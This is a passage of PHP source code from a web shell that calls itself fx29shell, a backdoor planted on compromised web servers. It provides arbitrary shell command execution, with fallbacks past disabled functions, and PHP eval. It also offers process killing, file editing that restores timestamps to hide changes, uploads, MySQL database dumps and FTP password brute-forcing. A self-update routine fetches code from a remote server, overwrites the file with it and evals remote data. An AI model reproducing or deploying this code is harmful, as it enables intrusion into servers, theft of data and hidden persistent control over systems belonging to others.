";}elseif($ft=="notepad"){@ob_clean();header("Content-type: text/plain");header("Content-disposition: attachment; filename=\"".$f.".txt\";");echo ($r);exit;}elseif($ft=="download"){@ob_clean();header("Content-type: application/octet-stream");header("Content-length: ".filesize($d.$f));header("Content-disposition: attachment; filename=\"".$f."\";");echo $r;exit;}elseif($ft=="img"){$inf=getimagesize($d.$f);if(!$newwin){if(empty($imgsize)){$imgsize=20 ;}$width=$inf[0 ]/100 *$imgsize;$height=$inf[1 ]/100 *$imgsize;echo "<center><b>Size:</b> ";$sizes=array("100","50","20");foreach($sizes as $v){echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";if($imgsize!=$v){echo $v;}else {echo "<u>".$v."</u>";}echo "</a> &nbsp; ";}echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&newwin=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\"></center>";}else {@ob_clean();$ext=explode($f,".");$ext=$ext[count($ext)-1 ];header("Content-type: ".$inf["mime"]);readfile($d.$f);exit;}}elseif($ft=="edit"){if(!empty($submit)){if($filestealth){$stat=stat($d.$f);}$fp=fopen($d.$f,"w");if(!$fp){echo "<b>Can't write to file!</b>";}else {echo "<b>Saved!</b>";fwrite($fp,$edit_text);fclose($fp);if($filestealth){touch($d.$f,$stat[9 ],$stat[8 ]);}$r=$edit_text;}}$rows=count(explode("
",$r));if($rows<10 ){$rows=10 ;}elseif($rows>30 ){$rows=30 ;}echo "<form name=\"f_save\" action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=\"post\">
"."<input type=submit name=submit value=\"Save\"> "."<input type=\"reset\" value=\"Reset\"> "."<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0 ,-1 ))."';\" value=\"Back\"><br>"."<textarea name=\"edit_text\" cols=\"125\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea>
"."</form>
";}elseif(!empty($ft)){echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}}echo "</div>
";}if($act=="d"){if(!is_dir($d)){echo "<center><b>$d is a not a Directory!</b></center>";}else {echo "<b>Directory information:</b>
";echo "<table>
";if(!is_windows()){echo "<tr><td><b>Owner/Group</b></td><td> ";$ow=posix_getpwuid(fileowner($d));$gr=posix_getgrgid(filegroup($d));$row[]=($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));}echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";}}if($act=="processes"){bar_header(".: Processes :.");if(!is_windows()){$handler="ps aux".($grep?" | grep '".addslashes($grep)."'":"");}else {$handler="tasklist";}$ret=fx29exec($handler);if(!$ret){disp_error("Can't execute \"$handler\"!");}else {if(empty($processes_sort)){$processes_sort=$sort_default;}$parsesort=parsesort($processes_sort);if(!is_numeric($parsesort[0 ])){$parsesort[0 ]=0 ;}$k=$parsesort[0 ];if($parsesort[1 ]!="a"){$y=" <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" alt=\"Desc\"></a>";}else {$y=" <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" alt=\"Asc\"></a>";}$ret=htmlspecialchars($ret);if(!is_windows()){if($pid){if(is_null($sig)){$sig=9 ;}echo "Sending signal ".$sig." to #".$pid."... ";if(posix_kill($pid,$sig)){echo "<b>OK!</b>";}else {echo "<b>ERROR!</b>";}}while(ereg("  ",$ret)){$ret=str_replace("  "," ",$ret);}$stack=explode("
",$ret);$head=explode(" ",$stack[0 ]);unset($stack[0 ]);for($i=0 ;$i<count($head);$i++){if($i!=$k){$head[$i]="<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1 ]."\"><b>".$head[$i]."</b></a>";}}$head[$i]="";$prcs=array();foreach($stack as $line){if(!empty($line)){$line=explode(" ",$line);$line[10 ]=join(" ",array_slice($line,10 ));$line=array_slice($line,0 ,11 );if($line[0 ]==get_current_user()){$line[0 ]='<font class="on">'.$line[0 ]."</font>";}$line[]="<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1 ]."&sig=9\"><u>KILL</u></a>";$prcs[]=$line;}}}else {if(@$pid){echo "Killing PID ".$pid."... ";echo fx29exec("taskkill /PID $pid /F");}while(ereg("  ",$ret)){$ret=str_replace("  "," ",$ret);}while(ereg("=",$ret)){$ret=str_replace("=","",$ret);}$ret=convert_cyr_string($ret,"d","w");$stack=explode("
",$ret);unset($stack[0 ],$stack[2 ]);$stack=array_values($stack);$stack[0 ]=str_replace("Image Name","Image-Name",$stack[0 ]);$stack[0 ]=str_replace("Session Name","Session-Name",$stack[0 ]);$stack[0 ]=str_replace("Mem Usage","Memory-Usage",$stack[0 ]);$stack[0 ].=" KILL";$head=explode(" ",$stack[0 ]);$stack=array_slice($stack,1 );$head=array_values($head);if($parsesort[1 ]!="a"){$y=" <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" alt=\"Desc\"></a>";}else {$y=" <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" alt=\"Asc\"></a>";}if($k>count($head)){$k=count($head)-1 ;}for($i=0 ;$i<count($head);$i++){if($i!=$k){$head[$i]="<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1 ]."\"><b>".trim($head[$i])."</b></a>";}}$prcs=array();unset($stack[0 ]);foreach($stack as $line){if(!empty($line)){$line=explode(" ",$line);$line[4 ]=str_replace(".","",$line[4 ]);$line[4 ]=intval($line[4 ])*1024 ;unset($line[5 ]);$line[]="<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1 ]."\"><u>KILL</u></a>";$prcs[]=$line;}}}$head[$k]="<b>".$head[$k]."</b>".$y;$v=$processes_sort[0 ];usort($prcs,"tabsort");if($processes_sort[1 ]=="d"){$prcs=array_reverse($prcs);}$tab=array();$tab[]=$head;$tab=array_merge($tab,$prcs);echo "<table class=\"explorer\">
";foreach($tab as $i=>$k){echo "	<tr>";foreach($k as $j=>$v){if(is_windows() and $i>0  and $j==4 ){$v=view_size($v);}echo "<td>".$v."</td>";}echo "</tr>
";}echo "</table>
";}}if($act=="eval"){if(!empty($eval)){bar_header("Result of execution this PHP-code:");$tmp=@ob_get_contents();$olddir=realpath(".");@chdir($d);if($tmp){@ob_clean();eval($eval);$ret=@ob_get_contents();$ret=convert_cyr_string($ret,"d","w");@ob_clean();echo $tmp;if(@$eval_txt){$rows=count(explode("
",$ret))+1 ;if($rows<10 ){$rows=10 ;}echo "<br><textarea cols=\"125\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";}else {echo $ret."<br>";}}else {if($eval_txt){echo "<br><textarea cols=\"125\" rows=\"10\" readonly>";eval($eval);echo "</textarea>";}else {echo $ret;}}@chdir($olddir);}else {bar_header(".: PHP-code Execution :.");if(empty($eval_txt)){$eval_txt=TRUE;}} ?>
<form name="f_eval" action="<? echo $surl; ?>" method="post">
	<input type="hidden" name="act" value="eval">
	<textarea name="eval" cols="125" rows="10">
<? echo htmlspecialchars(@$eval); ?>
	</textarea>
	<input type="hidden" name="d" value="<? echo $dispd; ?>"><br>
	<input type="submit" value="Execute"> Display in text-area <input type="checkbox" name="eval_txt" value="1"<? if(@$eval_txt){echo " checked";} ?>>
</form>
<? }if($act=="update"){$ret=fx29sh_getupdate(@$confirmupdate);echo "<b>$ret</b>";if(stristr($ret,"new version")){echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}if($act=="phpinfo"){@ob_clean();phpinfo();fx29shexit();}if($act=="tools"){fx29sh_tools();}if($act=="about"){fx29sh_about();}} ?>

</div>
<!-- End of Main Info -->

<!-- Commands Panel -->
<div id="main">

	<div class="bartitle"><b>.: COMMANDS PANEL :.</b></div>

<table id="mainpanel">
	<tr><th colspan="2">Command:</th>
	<td>
	<form name="f_cmd" method="post">
		<input type="hidden" name="act" value="cmd">
		<input type="hidden" name="d" value="<? echo $dispd; ?>">
		<input type="hidden" name="cmd_txt" value="1">
		<input type="text" name="cmd" size="100" value="<? echo @htmlspecialchars($cmd); ?>">
		<input type="submit" name="submit" value="Execute">
	</form>
	</td></tr>

	<tr><th colspan="2">Quick Commands:</th>
	<td>
	<form name="f_qcmd" method="post">
		<input type="hidden" name="act" value="cmd">
		<input type="hidden" name="d" value="<? echo $dispd; ?>">
		<input type="hidden" name="cmd_txt" value="1">
		<select name="cmd">
<? foreach($cmdaliases as $als){echo "			";echo '<option value="'.htmlspecialchars($als[1 ]).'">'.htmlspecialchars($als[0 ]).'</option>';echo "
";} ?>
		</select>
		<input type="submit" name="submit" value="Execute">
	</form>
	</td></tr>

	<tr><th colspan="2" rowspan="2">PHP Filesystem:</th>
	<td>
	<script language="javascript">
	function set_arg(txt1,txt2) {
	  document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
	  document.forms.fphpfsys.arg1.value = txt1;
	  document.forms.fphpfsys.arg2.value = txt2;
	}
	function chg_arg(num,txt1,txt2) {
	  if (num==0) {
	    document.forms.fphpfsys.arg1.type = "hidden";
	    document.forms.fphpfsys.A1.type = "hidden";
	  }
	  if (num<=1) {
	    document.forms.fphpfsys.arg2.type = "hidden";
	    document.forms.fphpfsys.A2.type = "hidden";
	  }
	  if (num==2) {
	    document.forms.fphpfsys.A1.type = "label";
	    document.forms.fphpfsys.A2.type = "label";
	    document.forms.fphpfsys.arg1.type = "text";
	    document.forms.fphpfsys.arg2.type = "text";
	  }
	  document.forms.fphpfsys.A1.value = txt1 + ":";
	  document.forms.fphpfsys.A2.value = txt2 + ":";
	}
	</script>
	<form name="fphpfsys" method="post">
		<input type="hidden" name="act" value="phpfsys">
		<input type="hidden" name="d" value="<? echo $dispd; ?>">
		<select name="phpfsysfunc">
<? foreach($phpfsaliases as $als){if($als[1 ]==@$phpfsysfunc){echo "		<option selected value=\"".$als[1 ]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0 ]."</option>
";}else {echo "		<option value=\"".$als[1 ]."\" onclick=\"chg_arg('$als[2]','$als[3]','".@$als[4 ]."')\">".$als[0 ]."</option>
";}} ?>
		</select>
		<input type="label" name="A1" value="File:" size=2 disabled>
		<input type=text name=arg1 size=40 value="<? echo @htmlspecialchars($arg1); ?>">
		<input type="hidden" name="A2" size=3 disabled >
		<input type="hidden" name="arg2" size=40 value="<? echo @htmlspecialchars($arg2); ?>">
		<input type="submit" name="submit" value="Execute">
	</form>
	</td></tr>
	<tr><td>
<? foreach($sh_sourcez as $e=>$o){echo "	<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">
";} ?>
	</td></tr>

	<tr><th rowspan="4">Filesystem</th>
	<th>Search:</th>
	<td>
	<form name="f_search" method="post">
		<input type="hidden" name="act" value="search">
		<input type="hidden" name="d" value="<? echo $dispd; ?>">
		<input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
	</form>
	</td></tr>
	<tr><th>Upload:</th>
	<td>
	<form name="f_upload" method="post" enctype="multipart/form-data">
		<input type="hidden" name="act" value="upload">
		<input type="file" name="uploadfile" size="50">
		<input type="submit" name="submit" value="Upload">
		<? echo "<small>Max size: ".@ini_get("upload_max_filesize")."B | Temp dir: ".@ini_get("upload_tmp_dir")."</small>
"; ?>
	</form>
	</td></tr>
	<tr><th>Create:</th>
	<td>
	<form name="f_mkfile" method="post">
		<input type="hidden" name="act" value="mkfile">
		<input type="hidden" name="d" value="<? echo $dispd; ?>">
		<input type="hidden" name="ft" value="edit">
		<input type="text" name="mkfile" size="70" value="<? echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create">
	</form>
	</td></tr>
	<tr><th>View:</th><td>
	<form name="f_gofile" method="post">
		<input type="hidden" name="act" value="gofile">
		<input type="hidden" name="d" value="<? echo $dispd; ?>">
		<input type="text" name="f" size="70" value="<? echo $dispd; ?>"> <input type="submit" value="View">
	</form>
	</td></tr>
</table>

	<div class="bartitle footer"><? echo html_footer(); ?></div>

</div>
<!-- End of Commands Panel -->

</center></body>

</html>
<? function safemode(){if(@ini_get("safe_mode") or eregi("on",@ini_get("safe_mode"))){return TRUE;}else {return FALSE;}}function getdisfunc(){$disfunc=@ini_get("disable_functions");if(!empty($disfunc)){$disfunc=str_replace(" ","",$disfunc);$disfunc=explode(",",$disfunc);}else {$disfunc=array();}return $disfunc;}function enabled($func){if(function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())){return TRUE;}else {return FALSE;}}function fx29exec($cmd){$output="";if(enabled("popen")){$h=popen($cmd.' 2>&1','r');if(is_resource($h)){while(!feof($h)){$output.=fread($h,2096 );}pclose($h);}}elseif(enabled("passthru")){@ob_start();passthru($cmd);$output=@ob_get_contents();@ob_end_clean();}elseif(enabled("system")){@ob_start();system($cmd);$output=@ob_get_contents();@ob_end_clean();}elseif(enabled("exec")){exec($cmd,$o);$output=join("
",$o);}elseif(enabled("shell_exec")){$output=shell_exec($cmd);}return $output;}function fx29exec2($cmd){$output="";if(enabled("shell_exec")){$output=shell_exec($cmd);}elseif(enabled("exec")){exec($cmd,$o);$output=join("
",$o);}elseif(enabled("system")){@ob_start();system($cmd);$output=@ob_get_contents();@ob_end_clean();}elseif(enabled("passthru")){@ob_start();passthru($cmd);$output=@ob_get_contents();@ob_end_clean();}elseif(enabled("popen")){$h=popen($cmd.' 2>&1','r');if(is_resource($h)){while(!feof($h)){$output.=fread($h,2096 );}pclose($h);}}return $output;}function is_windows(){return strtolower(substr(PHP_OS,0 ,3 ))=="win";}function which($pr){$path=fx29exec("which $pr");if(!empty($path)){return $path;}else {return $pr;}}function get_status(){$arrfunc=array(array("MySQL","mysql_connect"),array("MSSQL","mssql_connect"),array("Oracle","ocilogon"),array("PostgreSQL","pg_connect"),array("Curl","curl_version"),);$arrcmd=array(array("Fetch","fetch --help"),array("Wget","wget --help"),array("Perl","perl -v"),);$statinfo=array();function showstat($sup,$stat){if($stat=="on"){return "$sup: <font class=on>ON</font>";}else {return "$sup: <font class=off>OFF</font>";}}foreach($arrfunc as $func){if(function_exists($func[1 ])){$statinfo[]=showstat($func[0 ],"on");}else {$statinfo[]=showstat($func[0 ],"off");}}$statinfo[]=(@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");foreach($arrcmd as $cmd){if(fx29exec2($cmd[1 ])){$statinfo[]=showstat($cmd[0 ],"on");}else {$statinfo[]=showstat($cmd[0 ],"off");}}return implode(" ",$statinfo);}function showdisfunc(){$disfunc=getdisfunc();if($disfunc=@ini_get("disable_functions")){return '<font class="off">'.$disfunc.'</font>';}else {return '<font class="on">NONE</font>';}}function disp_drives($curdir,$surl){$letters="";$v=explode("\",$curdir);$v=$v[0 ];foreach(range("A","Z") as $letter){$bool=$isdiskette=$letter=="A";if(!$bool){$bool=is_dir($letter.":\");}if($bool){$letters.="<a href=\"".$surl."act=ls&d=".urlencode($letter.":\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";if($letter.":"!=$v){$letters.=$letter;}else {$letters.="<font color=#3366FF>".$letter."</font>";}$letters.=" </a> ";}}if(!empty($letters)){return $letters;}else {return "None";}}function view_size($size){if(!is_numeric($size)){return FALSE;}else {if($size>=1073741824 ){$size=round($size/1073741824 *100 )/100 ." GB";}elseif($size>=1048576 ){$size=round($size/1048576 *100 )/100 ." MB";}elseif($size>=1024 ){$size=round($size/1024 *100 )/100 ." KB";}else {$size=$size." B";}return $size;}}function disp_freespace($curdrv){$free=@disk_free_space($curdrv);$total=@disk_total_space($curdrv);if($free===FALSE){$free=0 ;}if($total===FALSE){$total=0 ;}if($free<0 ){$free=0 ;}if($total<0 ){$total=0 ;}$used=$total-$free;$free_percent=round(100 /($total/$free),2 )."%";$free=view_size($free);$total=view_size($total);return "$free of $total ($free_percent)";}function fx29sh_getupdate($update=FALSE){global $fx29sh_updateurl;$url=$fx29sh_updateurl."?version=".urlencode(base64_encode(sh_ver));$data=@file_get_contents($url);if(!$data){return "<div class=errmsg>Can't connect to update-server! ($fx29sh_updateurl)</div>";}else {$data=ltrim($data);if($data{0 }=="" and $data{1 }==""){return "You already using latest version!";}if($data{0 }=="" and $data{1 }==""){$string=substr($data,3 ,ord($data{2 }));$string=explode("|",$string);if($update){$confvars=array();$sourceurl=$string[0 ];$source=@file_get_contents($sourceurl);if(!$source){return "Can't fetch update!";}else {$fp=@fopen(__FILE__,"w");if(!$fp){return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}else {fwrite($fp,$source);fclose($fp);return "Update completed!";}}}else {return "New version is available: ".$string[1 ];}}elseif($data{0 }=="" and $data{1 }==""){eval($string);return TRUE;}else {return "<div class=errmsg>Error in protocol: segmentation failed! (".$data.")</div>";}}}function fx29_buff_prepare(){global $sess_data,$act;foreach($sess_data["copy"] as $k=>$v){$sess_data["copy"][$k]=str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}foreach($sess_data["cut"] as $k=>$v){$sess_data["cut"][$k]=str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}$sess_data["copy"]=array_unique($sess_data["copy"]);$sess_data["cut"]=array_unique($sess_data["cut"]);sort($sess_data["copy"]);sort($sess_data["cut"]);if($act!="copy"){foreach($sess_data["cut"] as $k=>$v){if($sess_data["copy"][$k]==$v){unset($sess_data["copy"][$k]);}}}else {foreach($sess_data["copy"] as $k=>$v){if($sess_data["cut"][$k]==$v){unset($sess_data["cut"][$k]);}}}}function fx29_sess_put($data){global $sess_cookie;global $sess_data;fx29_buff_prepare();$sess_data=$data;$data=serialize($data);setcookie($sess_cookie,$data);}function fs_copy_dir($d,$t){$d=str_replace("\",DIRECTORY_SEPARATOR,$d);if(substr($d,-1 )!=DIRECTORY_SEPARATOR){$d.=DIRECTORY_SEPARATOR;}$h=opendir($d);while(($o=readdir($h))!==FALSE){if(($o!=".") and ($o!="..")){if(!is_dir($d.DIRECTORY_SEPARATOR.$o)){$ret=copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}else {$ret=mkdir($t.DIRECTORY_SEPARATOR.$o);fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}if(!$ret){return $ret;}}}closedir($h);return TRUE;}function fs_copy_obj($d,$t){$d=str_replace("\",DIRECTORY_SEPARATOR,$d);$t=str_replace("\",DIRECTORY_SEPARATOR,$t);if(!is_dir(dirname($t))){mkdir(dirname($t));}if(is_dir($d)){if(substr($d,-1 )!=DIRECTORY_SEPARATOR){$d.=DIRECTORY_SEPARATOR;}if(substr($t,-1 )!=DIRECTORY_SEPARATOR){$t.=DIRECTORY_SEPARATOR;}return fs_copy_dir($d,$t);}elseif(is_file($d)){return copy($d,$t);}else {return FALSE;}}function fs_move_dir($d,$t){$h=opendir($d);if(!is_dir($t)){mkdir($t);}while(($o=readdir($h))!==FALSE){if(($o!=".") and ($o!="..")){$ret=TRUE;if(!is_dir($d.DIRECTORY_SEPARATOR.$o)){$ret=copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}else {if(mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)){$ret=FALSE;}}if(!$ret){return $ret;}}}closedir($h);return TRUE;}function fs_move_obj($d,$t){$d=str_replace("\",DIRECTORY_SEPARATOR,$d);$t=str_replace("\",DIRECTORY_SEPARATOR,$t);if(is_dir($d)){if(substr($d,-1 )!=DIRECTORY_SEPARATOR){$d.=DIRECTORY_SEPARATOR;}if(substr($t,-1 )!=DIRECTORY_SEPARATOR){$t.=DIRECTORY_SEPARATOR;}return fs_move_dir($d,$t);}elseif(is_file($d)){if(copy($d,$t)){return unlink($d);}else {unlink($t);return FALSE;}}else {return FALSE;}}function fs_rmdir($d){$h=opendir($d);while(($o=readdir($h))!==FALSE){if(($o!=".") and ($o!="..")){if(!is_dir($d.$o)){unlink($d.$o);}else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR);rmdir($d.$o);}}}closedir($h);rmdir($d);return !is_dir($d);}function fs_rmobj($o){$o=str_replace("\",DIRECTORY_SEPARATOR,$o);if(is_dir($o)){if(substr($o,-1 )!=DIRECTORY_SEPARATOR){$o.=DIRECTORY_SEPARATOR;}return fs_rmdir($o);}elseif(is_file($o)){return unlink($o);}else {return FALSE;}}function fx29shexit(){global $gzipencode,$ft;if(!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))){$v=@ob_get_contents();@ob_end_clean();@ob_start("ob_gzHandler");echo $v;@ob_end_flush();}exit;}function fx29fsearch($d){global $found,$found_d,$found_f,$search_i_f,$search_i_d,$a;if(substr($d,-1 )!=DIRECTORY_SEPARATOR){$d.=DIRECTORY_SEPARATOR;}$h=opendir($d);while(($f=readdir($h))!==FALSE){if($f!="." && $f!=".."){$bool=(empty($a["name_regexp"]) and strpos($f,$a["name"])!==FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));if(is_dir($d.$f)){$search_i_d++;if(empty($a["text"]) and $bool){$found[]=$d.$f;$found_d++;}if(!is_link($d.$f)){fx29fsearch($d.$f);}}else {$search_i_f++;if($bool){if(!empty($a["text"])){$r=@file_get_contents($d.$f);if($a["text_wwo"]){$a["text"]=" ".trim($a["text"])." ";}if(!$a["text_cs"]){$a["text"]=strtolower($a["text"]);$r=strtolower($r);}if($a["text_regexp"]){$bool=ereg($a["text"],$r);}else {$bool=strpos(" ".$r,$a["text"],1 );}if($a["text_not"]){$bool=!$bool;}if($bool){$found[]=$d.$f;$found_f++;}}else {$found[]=$d.$f;$found_f++;}}}}}closedir($h);}function tabsort($a,$b){global $v;return strnatcmp($a[$v],$b[$v]);}function view_perms_color($o){if(!is_readable($o)){return "<font class=red>".view_perms(fileperms($o))."</font>";}elseif(!is_writable($o)){return "<font color=white>".view_perms(fileperms($o))."</font>";}else {return "<font color=green>".view_perms(fileperms($o))."</font>";}}function view_perms($mode){if(($mode&0xc000 )===0xc000 ){$type="s";}elseif(($mode&0x4000 )===0x4000 ){$type="d";}elseif(($mode&0xa000 )===0xa000 ){$type="l";}elseif(($mode&0x8000 )===0x8000 ){$type="-";}elseif(($mode&0x6000 )===0x6000 ){$type="b";}elseif(($mode&0x2000 )===0x2000 ){$type="c";}elseif(($mode&0x1000 )===0x1000 ){$type="p";}else {$type="?";}$owner["read"]=($mode&00400 )?"r":"-";$owner["write"]=($mode&00200 )?"w":"-";$owner["execute"]=($mode&00100 )?"x":"-";$group["read"]=($mode&00040 )?"r":"-";$group["write"]=($mode&00020 )?"w":"-";$group["execute"]=($mode&00010 )?"x":"-";$world["read"]=($mode&00004 )?"r":"-";$world["write"]=($mode&00002 )?"w":"-";$world["execute"]=($mode&00001 )?"x":"-";if($mode&0x800 ){$owner["execute"]=($owner["execute"]=="x")?"s":"S";}if($mode&0x400 ){$group["execute"]=($group["execute"]=="x")?"s":"S";}if($mode&0x200 ){$world["execute"]=($world["execute"]=="x")?"t":"T";}return $type.join("",$owner).join("",$group).join("",$world);}function parsesort($sort){$one=intval($sort);$second=substr($sort,-1 );if($second!="d"){$second="a";}return array($one,$second);}function parse_perms($mode){if(($mode&0xc000 )===0xc000 )$t="s";elseif(($mode&0x4000 )===0x4000 )$t="d";elseif(($mode&0xa000 )===0xa000 )$t="l";elseif(($mode&0x8000 )===0x8000 )$t="-";elseif(($mode&0x6000 )===0x6000 )$t="b";elseif(($mode&0x2000 )===0x2000 )$t="c";elseif(($mode&0x1000 )===0x1000 )$t="p";else $t="?";$o["r"]=($mode&00400 )>0 ;$o["w"]=($mode&00200 )>0 ;$o["x"]=($mode&00100 )>0 ;$g["r"]=($mode&00040 )>0 ;$g["w"]=($mode&00020 )>0 ;$g["x"]=($mode&00010 )>0 ;$w["r"]=($mode&00004 )>0 ;$w["w"]=($mode&00002 )>0 ;$w["x"]=($mode&00001 )>0 ;return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);}function str2mini($content,$len){if(strlen($content)>$len){$len=ceil($len/2 )-2 ;return substr($content,0 ,$len)."...".substr($content,-$len);}else {return $content;}}function strips(&$arr,$k=""){if(is_array($arr)){foreach($arr as $k=>$v){if(strtoupper($k)!="GLOBALS")strips($arr["$k"]);}}else {$arr=stripslashes($arr);}}function getmicrotime(){list($usec,$sec)=explode(" ",microtime());return ((float)$usec+(float)$sec);}function milw0rm(){$Lversion=php_uname("r");$OSV=php_uname("s");if(eregi("Linux",$OSV)){$Lversion=substr($Lversion,0 ,6 );return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;}else {$Lversion=substr($Lversion,0 ,3 );return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;}}function fx29ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh){if($fqb_onlywithsh){$TRUE=(!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}else {$TRUE=TRUE;}if($TRUE){$sock=@ftp_connect($host,$port,$timeout);if(@ftp_login($sock,$login,$pass)){echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";@ob_flush();return TRUE;}}}function mysql_dump($set){$sock=$set["sock"];$db=$set["db"];$print=$set["print"];$nl2br=$set["nl2br"];$file=$set["file"];$add_drop=$set["add_drop"];$tabs=$set["tabs"];$onlytabs=$set["onlytabs"];$ret=array();$ret["err"]=array();if(!is_resource($sock)){echo ("Error: \$sock is not valid resource.");}if(empty($db)){$db="db";}if(empty($print)){$print=0 ;}if(empty($nl2br)){$nl2br=0 ;}if(empty($add_drop)){$add_drop=TRUE;}if(empty($file)){$file=$tmp_dir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";}if(!is_array($tabs)){$tabs=array();}if(empty($add_drop)){$add_drop=TRUE;}if(sizeof($tabs)==0 ){$res=mysql_query("SHOW TABLES FROM ".$db,$sock);if(mysql_num_rows($res)>0 ){while($row=mysql_fetch_row($res)){$tabs[]=$row[0 ];}}}$out="
  # Dumped by ".sh_name()."
  # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  # Date: ".date("d.m.Y H:i:s")."
  # DB: \"".$db."\"
  #---------------------------------------------------------";$c=count($onlytabs);foreach($tabs as $tab){if((in_array($tab,$onlytabs)) or (!$c)){if($add_drop){$out.="DROP TABLE IF EXISTS `".$tab."`;
";}$res=mysql_query("SHOW CREATE TABLE `".$tab."`",$sock);if(!$res){$ret["err"][]=mysql_smarterror();}else {$row=mysql_fetch_row($res);$out.=$row["1"].";

";$res=mysql_query("SELECT * FROM `$tab`",$sock);if(mysql_num_rows($res)>0 ){while($row=mysql_fetch_assoc($res)){$keys=implode("`, `",array_keys($row));$values=array_values($row);foreach($values as $k=>$v){$values[$k]=addslashes($v);}$values=implode("', '",$values);$sql="INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
";$out.=$sql;}}}}}$out.="#---------------------------------------------------------------------------------

";if($file){$fp=fopen($file,"w");if(!$fp){$ret["err"][]=2 ;}else {fwrite($fp,$out);fclose($fp);}}if($print){if($nl2br){echo nl2br($out);}else {echo $out;}}return $out;}function mysql_buildwhere($array,$sep=" and",$functs=array()){if(!is_array($array)){$array=array();}$result="";foreach($array as $k=>$v){$value="";if(!empty($functs[$k])){$value.=$functs[$k]."(";}$value.="'".addslashes($v)."'";if(!empty($functs[$k])){$value.=")";}$result.="`".$k."` = ".$value.$sep;}$result=substr($result,0 ,strlen($result)-strlen($sep));return $result;}function mysql_fetch_all($query,$sock){if($sock){$result=mysql_query($query,$sock);}else {$result=mysql_query($query);}$array=array();while($row=mysql_fetch_array($result)){$array[]=$row;}mysql_free_result($result);return $array;}function mysql_smarterror($sock){if($sock){$error=mysql_error($sock);}else {$error=mysql_error();}$error=htmlspecialchars($error);return $error;}function mysql_query_form(){global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;if(($submit) and (!$sql_query_result) and ($sql_confirm)){if(!$sql_query_error){$sql_query_error="Query was empty";}echo "<b>Error:</b> <br>".$sql_query_error."<br>";}if($sql_query_result or (!$sql_confirm)){$sql_act=$sql_goto;}if((!$submit) or ($sql_act)){echo "<table><tr><td><form name=\"fx29sh_sqlquery\" method=\"post\"><b>";if(($sql_query) and (!$submit)){echo "Do you really want to";}else {echo "SQL-Query";}echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden 